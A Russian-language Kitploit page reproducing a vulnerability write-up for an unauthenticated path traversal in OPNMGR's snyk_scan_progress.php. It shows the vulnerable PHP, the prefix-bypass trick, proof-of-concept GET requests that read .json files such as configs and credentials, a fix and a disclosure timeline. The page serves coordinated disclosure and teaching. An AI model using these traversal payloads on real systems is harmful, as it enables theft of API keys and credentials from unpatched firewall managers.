Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-103978 — Proof-of-concept и разбор CVE-2026-103978 — неаутентифицированный обход пути в snyk_scan_progress.php OPNMGR, позволяющий читать произвольные .json-файлы. | Kitploit
Инструменты/GitHubGitHub/kiwknr/cve-2026-103978
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubkiwknr/cve-2026-103978

CVE-2026-103978

Proof-of-concept и разбор CVE-2026-103978 — неаутентифицированный обход пути в snyk_scan_progress.php OPNMGR, позволяющий читать произвольные .json-файлы.

Репозиторий
11 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-103978 — Неаутентифицированный обход пути в OPNMGR

Чтение произвольных .json-файлов без необходимости входа в систему. Обнаружено при чтении исходного кода agit8or1/OPNMGR — менеджера парка OPNsense, написанного на PHP.

CVECVE-2026-103978
AdvisoryGHSA-8x7v-vwpx-3wr7
КлассCWE-22 (Path Traversal)
Аутентификацияотсутствует
CVSS v3.17.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS v4.08.7 High
Исправлено вv3.10.0
АвторKanarat Kaeothong (Axiom0x)

Уязвимость

snyk_scan_progress.php лежит в корне веб-сервера, берёт scan_id прямо из строки запроса, подставляет его в путь к файлу и передаёт результат в file_get_contents(). Здесь нет ни подключения аутентификации, ни проверки сессии, ни санитизации параметра.

<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? '';                  // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }

$progress_file = "/tmp/snyk_scan_{$scan_id}.json";  // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }

$progress_data = file_get_contents($progress_file);
echo $progress_data;                                // sent back to the caller

Все остальные эндпоинты приложения подключают inc/bootstrap.php и вызывают requireLogin() перед любыми действиями. Этот пропускает всё это. Таким образом, scan_id контролируется атакующим, подставляется в путь дословно, а содержимое файла возвращается в ответе.

Одна загвоздка: префикс snyk_scan_ приклеивается к тому, что вы отправите, поэтому payload, начинающийся с .., съедается (snyk_scan_.. — это просто странное имя файла в /tmp). Сначала нужен одноразовый сегмент, чтобы .. действительно стал переходом в родительский каталог:

/tmp/snyk_scan_ + x/../../etc/passwd  ->  /tmp/snyk_scan_x/../../etc/passwd
                                       ->  /etc/passwd.json

Завершающий .json навязывается кодом, а трюка с нулевым байтом в современном PHP нет, поэтому можно читать только файлы, оканчивающиеся на .json. В реальном развёртывании PHP это не такое уж большое ограничение. Конфигурационные файлы, ключи сервисных аккаунтов, composer auth.json, облачные учётные данные — большая часть интересного уже имеет расширение .json.

PoC

GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
  -> returns /var/www/opnsense/config.json

GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
  -> walks to filesystem root, returns /etc/some_config.json

Рабочая версия находится в poc/poc.sh.

Влияние

Любой файл, оканчивающийся на .json, который может прочитать www-data, раскрывается любому, кто может достучаться до страницы. На машине, управляющей межсетевыми экранами OPNsense, это обычно означает API-ключи и учётные данные.

Исправление

Добавьте подключение аутентификации, которое использует остальная часть приложения, и проверяйте scan_id по строгому белому списку перед построением пути:

require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();

$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid scan id']);
    exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';

Сопровождающий выпустил исправление в v3.10.0.

Хронология

  • 2026-07-24 обнаружено, локально подтверждено разрешение пути
  • 2026-07-24 приватный advisory сопровождающему через GitHub Security
  • позднее сопровождающий подтвердил и выпустил патч
  • 2026-10-02 GitHub CNA присвоил CVE-2026-103978

Ссылки

  • Advisory: https://github.com/agit8or1/OPNMGR/security/advisories/GHSA-8x7v-vwpx-3wr7
  • Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-103978
  • Уязвимый файл: https://github.com/agit8or1/OPNMGR/blob/main/snyk_scan_progress.php

Сообщено в рамках скоординированного раскрытия. Уязвимая версия больше не является текущим релизом. Разбор приведён здесь для справки и обучения.

Скачать инструмент